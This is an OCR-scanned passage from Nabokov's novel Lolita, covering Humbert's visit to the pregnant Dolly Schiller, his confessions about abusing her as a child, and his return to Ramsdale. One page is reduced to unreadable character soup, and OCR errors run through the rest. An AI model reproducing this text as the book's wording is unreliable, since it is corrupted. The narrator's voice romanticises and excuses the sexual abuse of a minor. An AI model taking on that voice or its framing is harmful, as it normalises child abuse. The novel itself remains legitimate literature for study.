Cnrions: although +actually her looks had faded, I definitely realized, so hope- +lessly late in the day, how much she looked — had always +looked — like Botticelli’s russet Venus — the same soft nose, the +same blurred beauty. In my pocket my fingers gently let go +and repacked a little at the tip, within the handkerchief it +was nested in, my unused weapon. + +“That’s not the fellow I want,” I said. ! + +The diffuse look of welcome left her eyes. Her forehead J +puckered as in the old bitter days: + +“Not who?" + +"Where is he? Quick!” + +"Look,” she said, inclining her head to one side and shaking +it in that position. “Look, you are not going to bring that up.” + +“I certainly am," I said, and for a moment — strangely +enough the only merciful, endurable" one in the whole in- +terview— we were bristling at each other as if she were still +mine. + +A wise girl, she controlled herself. + +Dick did not know a thing of the whole mess. He thought I +was her father. He thought she had run away from an upper- +class home just to wash dishes in a diner. He believed anything. +Why should I want to make things harder than they were by +Taking up all that muck? , + +But, I said, she must be sensible, she must be a sensible girl \ +(with her bare drum under that thin brown stuff), she must i +understand that if she expected the help I had come to give, I +must have at least a clear comprehension of the situation. + +“Come, his namel” ! + +She thought I had guessed long ago. It was (with a mis- ; +chievous and melancholy smile) such a sensational name. I +would never believe it She could hardly believe it herself. j + +His name, my fall nymph. ; + +It was so unimportant, she said. She suggested I slap it. * +Would I hke a cigarette? j + +No. His name. j + +She shook her head with great resolution. She guessed it ' +was too late to raise hell and I would never believe the un- : +believably unbelievable — ; + +I said I had better go, regards, nice to have seen her. + +She said really it was useless, she would never tell, but on + +2i7 + + +the other hand, after all — "Do you really want to know who +it was? Well, it was — ” + +And softly, confidentially, arching her thin eyebrows and +puckering her parched lips, she emitted a little mockingly, +somewhat fastidiously, not untenderly, in a kind of muted +whistle, the name that the astute reader has guessed long ago. + +Waterproof. Why did a flash from Hourglass Lake cross my +consciousness? I, too, had known it, without knowing it, all +along. There was no shock, no surprise. Quietly the fusion took +place, and everything fell into order, into the pattern of +branches that I have woven throughout this memoir with the +express purpose of having the ripe fruit fall at the right mo- +ment; yes, with the express and perverse purpose of rendering +— she was talking but I sat melting in my golden peace — of +rendering that golden and monstrous peace through the satis- +faction of logical recognition, which my most inimical reader +should experience now. + +She was, as I say, talking. It now came in a relaxed flow. He +was the only man she had ever been crazy about. What about +Dick? Oh, Dick was a lamb, they were quite happy together, +but she meant something different. And I had never counted, +of course? + +She considered me as if grasping all at once the incredible— +and somehow tedious, confusing and unnecessary — fact that +the distant, elegant, slender, forty-year-old valetudinarian in +velvet coat sitting beside her had known and adored every +pore and follicle of her pubescent body. In her washed-out +gray eyes, strangely spectacled, our poor romance was for a +moment reflected, pondered upon, and dismissed like a dull +party, like a rainy picnic to which only the dullest botes had +come, like a humdrum exercise, like a bit of dry mud caking +her childhood. + +I just managed to jerk my knee out of the range of a sketchy +tap — one of her acquired gestures. + +She asked me not to be dense. The past was the past I had +been a good father, she guessed — granting me that. Proceed, +Dolly Schiller. + +Well, did I know that he bad known her mother? That he +was practically an old friend? That he had visited with his +uncle in Ramsdale? — oh, years ago — and spoken at Mother's +club, and had tugged and pulled her, Dolly, by her bare arm +onto his lap in front of everybody, and kissed her face, she +was ten and furious with him? Did I know he had seen me and + +248 + + + +her at the inn -where he was writing the very play she was to +rehearse in Beardsley, two years later7 Did I know — It bad +been horrid of her to sidetrack me into believing that Clare +was an old female, maybe a relative of his or a sometime life- +mate — and oh, what a dose shave it had been when the Wace +Journal carried his picture. + +The Briceland Gazette had not Yes, very amusing. + +Yes, she said, this world was just one gag after another, if +somebody wrote up her life nobody would ever believe it. + +At this point, there came brisk homey sounds from the +kitchen into which Dick and Bill had lumbered in quest of ! +beer. Through the doorway they noticed the visitor, and Dick +entered the parlor, | + +“Dick, this is my Dad!” cried Dolly in a resounding violent ! +voice that struck me as totally strange, and new, and cheerful, ] +and old, and sad, because the young fellow, veteran of a re- j +mote war, was hard of hearing. + +Arctic blue eyes, black hair, ruddy cheeks, unshaven chin. + +We shook hands. Discreet Bill, who evidently took pride in +working wonders with one hand, brought in the beer cans +he had opened. Wanted to withdraw. The exquisite courtesy j +of simple folks. Was made to stay. A beer ad. In point of fact, J +I preferred it that way, and so did the Schillers. I switched to j + +the jittery rocker. Avidly munching, Dolly plied me with j + +marshmallows and potato chips. The men looked at her fr tgile, j +frileux, diminutive, old-world, youngish but sickly, father in j +velvet coat and beige vest, maybe a viscount. j + +They were under the impression I bad come to stay, and ; +Dick with a great wrinkling of brows that denoted difficult \ + +thought, suggested Dolly and he might sleep in the kitchen J + +on a spare mattress. I waved a light hand and told Dolly who [ + +transmitted it by means of a special shout to Dick that I hall +merely dropped in on my way to Readsburg where I was to +be entertained by some friends and admirers. It was then no- +ticed that one of the few' thumbs remaining to Bill was bleed- +ing (not such a wonder-worker after all). How womanish and +somehow never seen that way before was the shadowy division +between her pale breasts when she bent down over the man’s +hand! She took him for repairs to the kitchen. For a few +minutes, three or four little eternities which positively welled +with artificial warmth, Dick and I remained alone. He sat on ; +a hard chair rubbing his fordimbs and frowning. I had an idle +urge to squeeze out the blackheads on the wings of his per- + +249 + + +; sad eyes +Guam’s apple + +^ large and tauy- Why. s Doty had ha* uwe^ a d *tJ + +brawny chaps? ' ttieie , at aiat— how long tod +course on that con moie . and before ® at all, nothing +thnes, Mo grudge. Funny-no gni | ^ nose . i ms + +ste ^ 0 SrfSd nanS. He waj nownrbb loath he wodd + +except g 11 ^ finallv tie w'ould .9?° c v, e ’s a swell lad, M • +sure that {i s head) : a ^eU rnothen + +say (slightly shaki g , g g0in g to ® This gave him + +H^ze. She sure is. ^?^_ and took a sip o* «**• at the + +He opened his mou we nt on sipP®|^ Florentine breasts. + +countenance— and had cupped h phalanges, the + +South. He and broken finer tt + +Lhunbert Humbert. __ r he silent too. ^ ^^Mied-to + +Good Tf he was s + + +lair was— and then p crushed tngg . But pres- + +eSoyed the Viennese medicine m^ hypnQtold + +ss& « r i? - ■ ” ,a + + +“’"And s“ I ahonted ' youarag^ rf course. «WeH,h<= + +, -V_l re-shouted— 1 *r~ ddin g sagely ^ "Vlv.” + +nursed his glass aui noddmg ^ ^ly ^ + +rnt it on a lagger, I g^ 5 hi bloom. A A flower- + +Lovely mauve almon^ ^ pointihsbc ^ reappea red. + +istic arm han&og ^ Do hy and bandaid ^ pa i e beauty + +££2&%*$£ + +He guessed Mr. naz ^ + + + +each other. He guessed he would he seeing me before I left +Why do those people guess so much and shave so little, and +are so disdainful of hearing aids? j + +"Sit down,” she said, audibly striking her Hanks with her j +palms. I relapsed into the black rocker. j + +"So you betrayed me? Where did you go? Where is he +now7” . j + +She took from the mantelpiece a concave glossy snapshot j +Old woman in white, stout beaming, bowlegged, very short j +dress; old man in his shirtsleeves, drooping mustache, natch j +chain. Her in-laws. Living with Dick’s brother’s family in j +Juneau. . ! + +"Sure you don’t want to smoke?” J + +She was smoking herself. First time I saw her doing it : +Streng verboten under Humbert the Terrible. Gracefully, in j +a blue mist Charlotte Haze rose from her grave. I would find +him through Uncle Ivory if she refused. j + +"Betrayed you? No.” She directed the dart of her cigarette, ] +index rapidly tapping upon it toward the hearth exactly as her j +mother used to do, and then, like her mother, oh my God, i + +with her fingernail scratched and removed a fragment of j + +cigarette paper from her underlip. No. She had not betrayed ' +me. I was among friends. Edusa had warned her that Cue : + +liked little girls, had been almost jailed once, in fact (nice 1 + +fact), and he knew she knew. Yes . . . Elbow in palm, puff, ! + +smile, exhaled smoke, darting gesture. Waxing reminiscent. i +He saw — smiling — through everything and everybody, because : + +he was not like me and her but a genius. A gieat guy. Full of i +fun. Had rocked with laughter when she confessed about me +and her, and said he had thought so. It was quite safe, under : +the circumstances, to tell him ... + +Well, Cue — they' all called him Cue — + +Her camp five years ago. Curious coincidence — . . . took +her to a dude ranch about a day's drive from Elephant (El- +phinstone). Named? Oh, some silly name — Duk Duk Ranch +— you know just plain silly — but it did not matter now, any- +way, because the place had vanished and disintegrated. Really, +she meant, I could not imagine how utterly lush that ranch +was, she meant it h 2 d everything but everything, even an in- +door waterfall. Did I remember the redhaired guy we (“we” +was good) had once had some tennis with? Well, the place +really belonged to Red’s brother, but he had turned it over to +Cue for the summer. When Cue and she came, the others had + +251 + + +them actually go through a coronation ceremony and then — +a terrific ducking, as when you cross the Equator. You know. + +Her eyes rolled in synthetic resignation. + +"Go on, please.” + +Well. The idea was he would take her in September to +Hollywood and arrange a tryout for her, a bit part in the ten- +nis-match scene of a movie picture based on a play of his — +Golden Guts — and perhaps even have her double one of its +sensational starlets on the Klieg-struck tennis court. Alas, it +never came to that. + +"Where is the hog now?” + +He was not a hog. He was a great guy in many respects. But +it was all drink and drugs. And, of course, he was a complete +freak in sex matters, and his friends were his slaves. I just +could not imagine (I, Humbert, could not imaginel) what +they all did at Duk Duk Ranch. She refused to tike part be- +cause she loved him, and he threw her out. + +'What things?” + +"Oh, weird, filthy, fancy things. 1 mean, he had two girls +and two boys, and three or four men, and the idea was for all +of us to tingle in the nude while an old woman took movie +pictures.” (Sade’s Justine was twelve at the start). + +"What things exactly?” + +"Oh, things . . . Oh, I — really I” — she uttered the "I” as a +subdued cry while she listened to the source of the ache, and +for- lack of words spread the five fingers of her angularly up- +and-down-moving hand. No, she gave it up, she refused to go +into particulars with that baby inside her. + +That made sense. + +“It is of no importance now,” she said pounding a gray +cushion with her fist and then lying back, belly up, on the +divan. “Crazy things, filthy things. I said no. I’m just not +going to [she used, in all insouciance really, a disgusting slang +term which, in a literal French translation, would be souffler] +your beastly boys, because I want only you. Well, he kicked +me out” + +There was not much else to tell. That winter 1949, Fay and +she had found jobs. For almost two years she had — oh, just +drifted, oh, doing some restaurant work in small places, and +then she had met Dick. No, she did not know where the other +was. In New York, she guessed. Of course, he was so famous +she would have found him at once if she had wanted. Fay +had tried to get back to the Ranch — and it just was not there + +252 + + + +any more — it had burned to the ground, nothing remained, +just a charred heap of rubbish. It 'was so strange, so strange — + +She dosed her eyes and opened her mouth, leaning back on +the cushion, one felted foot on the floor. The wooden floor +slanted, a little steel ball would have rolled into the kitchen. +I knew all I wanted to know. I had no intention of torturing +my darling. Somewhere beyond Bill's shack an afterwork radio +had begun singing of folly and fate, and there she was with +her ruined looks and her adult, rope-veined narrow hands and +her gooseflesh white arms, and her shallow ears, and her un- +kempt armpits, there she was (my Lolita!), hopelessly worn +at seventeen, with that baby, dreaming already in her of be- +coming a big shot and retiring around 2020 a.d. — and I looked +and looked at her, and knew as clearly as I know I am to die, +that I loved her more than anything I had ever seen or +imagined on earth, or hoped for anywhere else. She was only +the faint violet whiff and dead leaf echo of the nymphet I had +rolled myself upon with such cries in the past; an echo on the +brink of a russet ravine, with a far wood under a white sky, +and brown leaves choking the brook, and one last cricket in +the crisp weeds . . . but thank God it was not that echo +alone that I worshiped. What I used to pamper among the +tangled vines of my heart, mon grand p€ch6 radieux, had +dwindled to its essence: sterile and selfish wee, all that I can- +celed and cursed. You may jeer at me, and threaten to clear +the court, but until I am gagged and half-throttled, I will +shout my poor truth. I insist the world know how much I +loved my Lolita, this Lolita, pale and polluted, and big with +another’s child, but still gray-eyed, still sooty-lashed, still +auburn and almond, stall Carmencita, still mine; Changeons +de vie, ma Carmen, alJons vivre quelque part oh nous ne serom +jamais s£par&; Ohio? The wilds of Massachusetts? No mat- +ter, even if those eyes of hers would fade to myopic fish, and +her nipples swell and crack, and her lovely young velvety +delicate delta be tainted and tom — even then I would go mad +with tenderness at the mere sight of your dear wan face, at the +mere sound of your raucous young voice, my Lolita. + +"Lolita,” I said, "this may be neither here nor there but I +hare to say it Life is very short From here to that old car +you know so well there is a stretch of twenty, twenty-five +paces. It is a very short walk Make those twenty-five steps. +Nov,'. Right now. Come just as you axe. And we shall lire +happily ever after.” + + +2 + +t + +( + +f + +t + +i + +J. + +£ + +t + +i + +1 + +t + +i + +t + +i + +i, + +t + +i + +j + +! + +( + +< + +r + +i + +t + + +253 + + +Carmen, voulez-vous venir avec moi? + +‘Ton mean,” she said opening her eyes and raising herself +slightly, the snake that may strike, “you mean you will give us +[us] that money only if I go with you to a motel. Is that what +you mean?” + +“No,” I said, “you got it all wrong. I want you to leave +your incidental Dick, and this awful hole, and come to live +with me, and die with me, and everything with me” (words +to that effect) . + +“You're crazy,” she said, her features working. + +“Think it over, Lolita. There are no strings attached. Ex- +cept, perhaps — well, no matter.” (A reprieve, I wanted to +say hut did not.) “Anyway, if you refuse you will still get +your . . . trousseau .” + +“No kidding?” asked Dolly. + +I handed her an envelope with four hundred dollars in cash +and a check for three thousand six hundred more. + +Gingerly, uncertainly, she received mon petit cadeau; and +then her forehead became a beautiful pink. “You mean,” she +said, with agonized emphasis, “you are giving us four thousand +bucks?" I covered my face with my hand and broke into the +hottest tears I had ever shed. I felt them winding through my +fingers and down my chin, and burning me, and my nose got +clogged, and I could not stop, and then she touched my wrist. + +“I’ll die if you touch me,” I said. “You are sure you are not +coming with me? Is there no hope of your coming? Tell me +only this.” + +“No,” she said. “No, honey, no.” + +She had never called me honey before. + +“No,” she said, “it is quite out of the question. I would +sooner go back to Cue. I mean — ” + +She groped for words. I supplied them mentally (“He broke +my heart. You merely broke my life”). + +“I think,” she went on — “oops” — the envelope skidded to +the floor — she picked it up — “I think it's oh utterly grand of +you to give us all that dough. It settles everything, we can +start next week. Stop crying, please. You should understand. +Let me get you some more beer. Oh, don’t cry. I'm so sorry +I cheated so much, but that’s the way things are.” + +I wiped my face and my fingers. She smiled at the cadeau. +She exulted. She wanted to call Dick. I said I would have to +leave in a moment, did not want to see him at all, at all. We +tried to think of some subject of conversation. For some rea- +son, I kept seeing — it trembled and sHkxly glowed on my damp + +254 + + +retina— a radiant child of twelve, sitting on a threshold, +"pinging” pebbles at an empty can. I almost said — trying to +find some casual remark — "I wonder sometimes what has be- +come of the little McCoo girl, did she ever get better?” — but +stopped in time lest she rejoim “I wonder sometimes what has +become of the little Haze girl . . Finally, I reverted to money +matters. That sum, I said, represented more or less the net +rent from her mother's house; she said: "Had it not been sold +years ago?” No (I admit I had told her this in order to sever +all connections with R.); a lawyer would send a full account +of the financial situation later, it was rosy; some of the small +securities her mother had owned had gone up and up. Yes, +I was quite sure I had to go. I had to go, and find him, and +destroy him. + +Since I would not have survived the touch of her lips, I +kept retreating in a mincing dance, at every step she and her +belly made toward me. + +She and the dog saw me off. I was surprised (this a rhetorical +figure, I was not) that the sight of the old car in which she +had ridden as a child and a nymphet, left her so very indiffer- +ent All she remarked was it was getting sort of purplish about +the gills. I said it was hers, I could go by bus. She said don’t +be silly, they would fly to Jupiter and buy a car there. I said +I would buy this one from her for five hundred dollars. + +“At this rate we’ll be millionnaires next," she said to the +ecstatic dog. + +Carmencita, Iui demandais-je . . . "One last word,” I said +in my horrible careful English, “are you quite, quite sure that +— well, not tomorrow, of course, and not after tomorrow, +but — well — some day, any day, you will not come to live with +me? I will create a brand new God and thank him with +piercing cries, if you give me that microscopic hope” (to that +effect) . + +*|No,” she said smiling, “no.” + +"It would have made all the difference,” said Humbert +Humbert + +Then I pulled out my automatic — I mean, this is the land +of a fool thing a reader might suppose I did. It never even +occurred to me to do it + +“Good by-ayel” she chanted, my American sweet immortal +dead love; for she is dead and immortal if you are reading this. +I mean, such is the formal agreement with the so-called +authorities. + +Then, as I drove away, I heard her shout in a vibrant voice + +255 + + + +to her Dick; and the dog started to lope alongside my car +like a fat dolphin, but he was too heavy and old, and very soon +gave up. + +And presently I was driving through the drizzle of the +dying day, with the windshield wipers in full action but un- +able to cope with my tears. + + + +Leaving as i did Coalmont around four in the afternoon +(by Route X — I do not remember the number) , I might have +made Ramsdale by dawn had not a short-cut tempted me. +I had to get onto Highway Y. My map showed quite blandly +that just beyond Woodbine, which I reached at nightfall, I +could leave paved X and reach paved Y by means of a trans- +verse dirt road. It was only some forty miles long according +to my map. Otherwise I would have to follow X for another +hundred miles and then use leisurely looping Z to get to Y +and my destination. However, the short cut in question got +worse and worse, bumpier and bumpier, muddier and muddier, +and when I attempted to turn back after some ten miles of +purblind, tortuous and tortoise-slow progress, my old and weak +Melmoth got stuck in deep clay. All was dark and muggy, and +hopeless. My headlights hung over a broad ditch full of water. +The surrounding country, if any, was a black wilderness. I +sought to extricate myself but my rear wheels only whined +in slosh and anguish. Cursing my plight, I took off my fancy +clothes, changed into slacks, pulled on the bullet-riddled +sweater, and waded four miles back to a roadside farm. It +started to rain on the way but I had not the strength to go +back for a mackintosh. Such incidents have convinced me that +my heart is basically sound despite recent diagnoses. Around +midnight, a wrecker dragged my car out. I navigated back to +Highway X and traveled on. Utter weariness overtook me an +hour later, in an anonymous little town. I pulled up at the +curb and in darkness drank deep from a friendly flask. + +The rain had been cancelled miles before. It was a black +warm night, somewhere in Appalachia. Now and then cars +passed me, red tail-lights receding, white headlights advance + +256 + + + +ing, "bat the town was dead. Nobody strobed and laughed +on the sidewalks as relaxing burghers would in sweet, mellow, +rotting Europe. I was alone to enjoy the innocent night and +my terrible thoughts. A wire receptacle on the curb was very +particular about acceptable contents: Sweepings. Paper. No +Garbage. Sheny-red letters of light marked a Camera Shop. +A large thermometer with the name of a laxative qnietly +dwelt on the front of a drugstore. Ruhinov's Jewelry Com- +pany had a display of artificial diamonds reflected in a red +mirror. A lighted green clock swam in the linenish depth of +Jiffy Jeff Laundry. On the other side of the street a garage +said in its sleep — genuflexion lubricity; and corrected itself to +Gulflex Lubrication. An airplane, also gemmed by Rubinov, +passed, droning, in the velvet heavens. How many small +dead-of-night towns I had seenl This was not yet the last. + +Let me dally a little, he is as good as destroyed. Some way +further across the street, neon lights flickered twice slower +than my'heart: the outline of a restaurant sign, a large coffee- +pot, kept bursting, every full second or so, into emerald life, +and every time it went out, pink letters saying Fine Foods +relayed it, but the pot could stfll be made out as a latent +shadow teasing the eye before its next emerald resurrection. +We made shadowgraphs. This furtive burg was not far from +The Enchanted Hunters. I was weeping again, drunk on the +impossible past + + +31 + +At tkis soi.it sky stop for refreshments between Coalmont +and Ramsdale (between innocent Dolly SchilleT and jovial +Uncle Ivor), I reviewed my case. With the utmost simplicity +and clarity I now saw myself and my love. Previous attempts +seemed out of focus in comparison. A couple of years before, +under the guidance of an intelligent French-speaking con- +fessor, to whom, in a moment of metaphysical curiosity, I had +turned over a Protestant’s drab atheism for an old-fashioned +popish cure, I had hoped to deduce from my sense of sin the +existence of a Supreme Being. On those frosty mornings in +rimc-laced Quebec^ the good priest worked on me with the + + + +finest tenderness and understanding. I am infinitely obliged +to him and the great Institution he represented. Alas, I was +unable to transcend the simple human fact that whatever +spiritual solace I might find, whatever lithophanic eternities +might be provided for me, nothing could make my Lolita for- +get the foul lust I had inflicted upon her. Unless it can be +proven to me — to me as I am now, today, with my heart and +my beard, and my putrefaction — that in the infinite run it +does not matter a jot that a North American girl-child named +Dolores Haze had been deprived of her childhood by a +maniac, unless this can be proven (and if it can, then life +is a joke) , I see nothing for the treatment of my misery but +the melancholy and very local palliative of articulate art. +To quote an old poet: + +The moral sense in mortals is the duty + +We have to pay on mortal sense of beauty. + + +There was the day, during our first trip — our first circle of +paradise — when in order to enjoy my phantasms in peace I +firmly decided to ignore what I could not help perceiving, the +fact that I was to her not a boy friend, not a glamour man, not +a pal, not even a person at all, but just two eyes and a foot of +engorged brawn — to mention only mentionable matters. +There was the day when having withdrawn the functional +promise I had made her on the eve (whatever she had set her +funny little heart on — a roller rink with some special plastic +floor or a movie matinee to which she wanted to go alone), +I happened to glimpse from the bathroom, through a chance +combination of minor aslant and door ajar, a look on her face +. . . that look I cannot exactly describe ... an expression +of helplessness so perfect that it seemed to grade into one of +rather comfortable inanity just because this was the very +limit of injustice and frustration — and every limit presup- +poses something beyond it — hence the neutral illumination. +And when you bear in mind that these were the raised eye- +brows and parted lips of a child, you may better appreciate + +258 + + +what depths of calculated carnality, what reflected despair, +restrained me from falling at her dear feet and dissolving in +human tears, and sacrificing my jealousy to whatever pleasure +Lolita might hope to derive from mixing with dirty and +dangerous children in an outside world that was real to her. + +And I have stSI other smothered memories, now unfolding +themselves into limbless monsters of pain. Once, in a sunset- +ending street of Beardsley, she turned to little Eva Rosen (I +was taking both nymphets to a concert and walking behind +them so close as almost to touch them with my person), she +turned to Eva, and so very serenely and seriously, in answer +to something the other had said about its being better to die +than hear Milton Pinski, some local schoolboy she knew, talk +about music, my Lolita remarked: + +“You know, what's so dreadful about dying is that you are +completely on your own"; and it struck me, as my automaton +knees went up and down, that I simply did not know a thing +about my darling’s mind and that quite possibly, behind the. +awful juvenile cliches, there was in her a garden and a twilight, +and a palace gate — dim and adorable regions which happened +to be lucidly and absolutely forbidden to me, in my polluted +rags and miserable convulsions; for I often noticed that living +as we did, she and I, in a world of total evil, we would be- +come strangely embarrassed whenever I tried to discuss some- +thing she and an older friend, she and a parent, she and a real +healthy sweetheart, I and Annabel, Lolita and a sublime, puri- +fied, analyzed, deified Harold Haze, might have discussed — +an abstract idea, a painting, stippled Hopkins or shorn Baude- +laire, God or Shakespeare, anything of a genuine kind. Good +willl She would mail her vulnerability in trite brashness and +boredom, whereas I, using for my desperately detached com- +ments an artificial tone of voice that set my own last teeth on +edge, provoked my audience to such outbursts of rudeness +as made any further conversation impossible, oh my poor, +bruised cbfld. + +I loved you. I was a pentapod monster, but I loved you. I +was despicable and brutal, and turpid, and everything, mais je +t aimais, je t’aimais! And there were times when I knew how +you felt, and it was hell to know it, my little one. Lolita girl, +brave Dolly Schiller. + +I recall certain moments, let us call them icebergs in para- +dise, when after haring had my fill of her — after fabulous, +msane exertions that left me limp and azure-barred — I would + +259 + + +gather her in my arms with, at last, a mute moan of human +tenderness (her shin glistening in the neon light coming from +the paved court through the slits in the blind, her soot-black +lashes matted, her grave gray eyes more vacant than ever — for +all the world a little patient still in the confusion of a drug +after a major operation) — and the tenderness would deepen +to shame and despair, and I would lull and rock my lone light +Lolita in my marble arms, and moan in her warm hair, and +caress her at random and mutely ask her blessing, and at the +peak of this human agonized selfless tenderness (with my +soul actually hanging around her naked body and ready to +repent), all at once, ironically, horribly, lust would swell +again — and “oh, no,” Lolita would say with a sigh to heaven, +and the next moment the tenderness and the azure — all would +be shattered. + +Mid-twentieth century ideas concerning child-parent rela- +tionship have been considerably tainted by the scholastic +rigmarole and standardized symbols of the psychoanalytic +racket, but I hope I am addressing myself to unbiased readers. +Once when Avis’s father had honked outside to signal papa +had come to take his pet home, I felt obliged to invite him +into the parlor, and he sat down for a minute, and while we +conversed. Avis, a heavy unattractive, affectionate child, drew +up to him and eventually perched plumply on his knee. Now, +I do not remember if I have mentioned that Lolita always had +an absolutely enchanting smile for strangers, a tender furry +slitting of the eyes, a dreamy sweet radiance of all her features +which did not mean a thing of course but was so beautiful, +so endearing that one found it hard to reduce such sweetness +to but a magic gene automatically lighting up her face in +atavistic token of some ancient rite' of welcome — hospitable +prostitution, the coarse reader may say. Well, there she stood +while Mr. Byrd twirled his hat and talked, and — yes, look how +stupid of me, I have left out the main characteristic of the +famous Lolita smile, namely: while the tender, nectared, +dimpled brightness played, it was never directed at the stranger +in the room but hung in its own remote flowered void, so to +speak, or wandered with myopic softness over chance objects +— and this is what was happening now: while fat Avis sidled +up to her papa, Lolita gently beamed at a fruit knife that +she fingered on the edge of the table, whereon she leaned, +many miles away from me. Suddenly, as Avis clung to her +father’s neck and ear while, with a casual arm, the man en- + +260 + +\ + + + +vdoped his lumpy and large offspring, I saw Lolita's smile lose +all its light and become a frozen little shadow of itself, and the +fruit knife slipped off the table and struck her with its silver +handle a freak blow on the ankle which made her gasp, and +crouch head forward, and then, jumping on one leg, her face +awful with the preparatory grimace which children hold till the +tears gush, she was gone — to be followed at once and con- +soled in the kitchen by Avis who had such a wonderful fat +pink dad and a small chubby brother, and a brand-new baby +sister, and a home, and two grinning dogs, and Lolita had +nothing. And I have a neat pendant to that little scene — also +in a Beardsley setting. Lolita, who had been reading near the +fire, stretched herself, and then inquired, her elbow up, with +a grunt: ‘'Where is she buried anyway?” "Who?” "Oh, you +know, my murdered mummy.” "And you know where her +grave is," I said controlling myself, whereupon I named the +cemetery — just outside Ramsdde, between the railway tracks +and Lakeview Hill. “Moreover,” I added, "the tragedy of such +an accident is somewhat cheapened by the epithet you saw fit +to apply to it If you really wish to triumph in your mind +over the idea of death — •” "Ray,” said Lo for hurra}', and +languidly left the room, and for a long while I stared with +smarting eyes into the fire. Then I picked up her book. It +was some trash for young people. There was a gloomy girl +Marion, and there was her stepmother who turned out to be, +against all expectations, a young, gay, understanding redhead +who explained to Marion that Marion's dead mother had +TeaHy been a heroic woman since she had deliberately dis- +simulated her great love for Marion because she was dying, +and did not want her child to miss her. I did not rush up to +her room with cries. I always preferred the mental hygiene +of noninterference. Now, squirming and pleading with my +own memory, I recall that on this and similar occasions, it +was always my habit and method to ignore Lolita’s states of +mind while comforting my own base self. ’When my mother, +in a livid wet dress, under the tumbling mist (so I vividly +imagined her), had ran panting ecstatically up that ridge +above Moulinet to be felled there by a thunderbolt, I was but +an infant, and in retrospect no yearnings of the accepted land +could I ever graft upon any moment of my youth, no matter +how savagely psychotherapists heckled me in my later periods +of depression. But I admit that a man of my power of imagina- +tion cannot plead personal irmorance of universal emotions. + +261 + + + +I may also have relied too much on the abnormally chill rela- +tions between Charlotte and her daughter. But the awful point +of the whole argument is this. It had become gradually clear to +my conventional Lolita during our singular and bestial cohabi- +tation that even the most miserable of family lives was better +than the parody of incest, which, in the long run, was the +best I could offer the waif. + + +33 + + +Ramsdaxe revisited. I approached it from the side of the +lake. The sunny noon was all eyes. As I rode by in my mud- +flecked car, I could distinguish scintillas of diamond water +between the far pines. I turned into the cemetery and walked +among the long and short stone monuments. Bonzhur, Char- +lotte. On some of the graves there were pale, transparent little +national flags slumped in the windless air under the ever- +greens. Gee, Ed, that was bad luck — referring to G. Edward +Grammar, a thirty-five-year-old New York office manager who +had just been arrayed on a charge of murdering his thirty- +three-year-old wife, Dorothy. Bidding for the perfect crime, +Ed had bludgeoned his wife and put her into a car. The case +came to light when two county policemen on patrol saw Mrs. +Grammar’ s new big blue Chrysler, an anniversary present from +her husband, speeding crazily down a hill, just inside their +jurisdiction (God bless our good copsl). The car sideswiped +a pole, ran up an embankment covered with beard grass, wild +strawberry and cinquefoil, and overturned. The wheels were +still gently spinning in the mellow sunlight when the officers +removed Mrs. G.’s body. It appeared to be a routine highway +accident at first. Alas, the woman’s battered body did not +match up with only minor damage suffered by the car. I did +better. + +I rolled on. It was funny to see again the slender white +church and the enormous elms. Forgetting that in an Amer- +ican suburban street a lone pedestrian is more conspicuous +than a lone motorist, I left the car in the avenue to walk +unobtrusively past 342 Lawn Street. Before the great blood- +shed, I was entitled to a little relief, to a cathartic spasm of + +262 + + + +mental regurgitation. Closed were the white shutters of the +Junk mansion, and somebody had attached a found black +velvet hair ribbon to the white for sale sign which was lean- +ing toward the sidewalk. No dog barked. No gardener tele- +phoned. No Miss Opposite sat on the vined porch — where +to the lone pedestrian’s annoyance two pony-tailed young +women in identical polka-dotted pinafores stopped doing +whatever they were doing to stare at him: she was long dead, +no doubt, these might be her twin nieces from Philadelphia. + +Should I enter my old house? As in a Turgenev story, a tor- +rent of Italian music came from an open window — that of the +living room: what romantic soul was playing the piano where +no piano had plunged and plashed on that bewitched Sunday +with the sun on her beloved legs? All at once I noticed that +from the lavra I had mown a golden-skinned, brovra-haired +nymphet of nine or ten, in white shorts, was looking at me +with wild fascination in her large blue-black eyes. I said some- +thing pleasant to her, meaning no harm, an old-world com- +pliment, what nice eyes you have, but sbe retreated in haste +and the music stopped abruptly, and a violent-looking dark +man, glistening with sweat, came out and glared at me. I was +on the point of identifying myself when, with a pang of dream- +embarrassment, I became aware of my mud-caked dungarees, +my filthy and tom sweater, my bristly chin, my bum’s blood- +shot eyes. Without saying a word, I turned and plodded back +the way I had come. An aster-like anemic flower grew out +of a remembered chink in the' sidewalk. Quietly resurrected. +Miss Opposite was being wheeled out by her nieces, onto heT +porch, as if it were a stage and I the star performer. P raring +sbe would not call to me, I hurried to my car. What a steep +little street. What a profound avenue. A red ticket showed +between wiper and windshield; I carefully tore it into two, +four, eight pieces. + +Feeling I was losing my time, I drove energetically to the +downtown hotel where I had arrived with a new’ bag more than +five years before. I took a room, made two appointments by +telephone, shaved, bathed, put on black clothes and went +down for a’drink in the bar. Nothing had changed. The bar- +room was suffused with the same dim, impossible gamet-red +light that in Europe years ago went with low haunts, but here +meant a bit of atmosphere in a family hotel. 1 sat at the same +little table where at the very start of my stay, immediately +after becoming Charlotte’s lodger, I had thought fit to cclc- + +263 + + + +brate the occasion, by suavely sharing with her half a bottle +of champagne, which had fatally conquered her poor brim- +ming heart. As then, a moon-faced waiter was arranging with +stellar care fifty sherries on a round tray for a wedding party. +Murphy-Fantasia, this time. It was eight minutes to three. +As I walked through the lobby, I had to skirt a group of ladies +who with mille graces were taking leave of each other after a +luncheon party. With a harsh cry of recognition, one pounced +upon me. She was a stout, short woman in pearl-gray, with a +long, gray, slim plume to her small hat. It was Mrs. Chatfield. +She attacked me with a fake smile, all aglow with evil curiosity. +(Had I done to Dolly, perhaps, what Frank Lasalle, a fifty-year- +old mechanic, had done to eleven-year-old Sally Homer in +1948?) Very soon I had that avid glee well under control. She +thought I was in California. How was — ? With exquisite +pleasure I informed her that my stepdaughter had just mar- +ried a brilliant young mining engineer with a hush-hush job in +the Northwest. She said she disapproved of such early mar- +riages, she would never let her Phyllis, who was now eighteen — + +“Oh .yes of course,” I said quietly. “I remember Phyllis. +Phyllis and Camp Q. Yes, of course. By the way, did she ever +tell you how Charlie Holmes debauched there his mother’s +little charges?” + +Mrs. Cbatfield's already broken smile now disintegrated +completely. + +“For shame,” she cried, “for shame, Mr. Humbert! The +poor boy has just been killed in Korea.” + +I said didn’t she think "vient de,” with the infinitive, ex- +pressed recent events so much more neatly than the English +“just,” with the past? But I had to be trotting off, I said. + +There were only two blocks to Windmuller’s office. He +greeted me with a very slow, very enveloping, strong, searching +grip. He thought I was in California. Had' I not 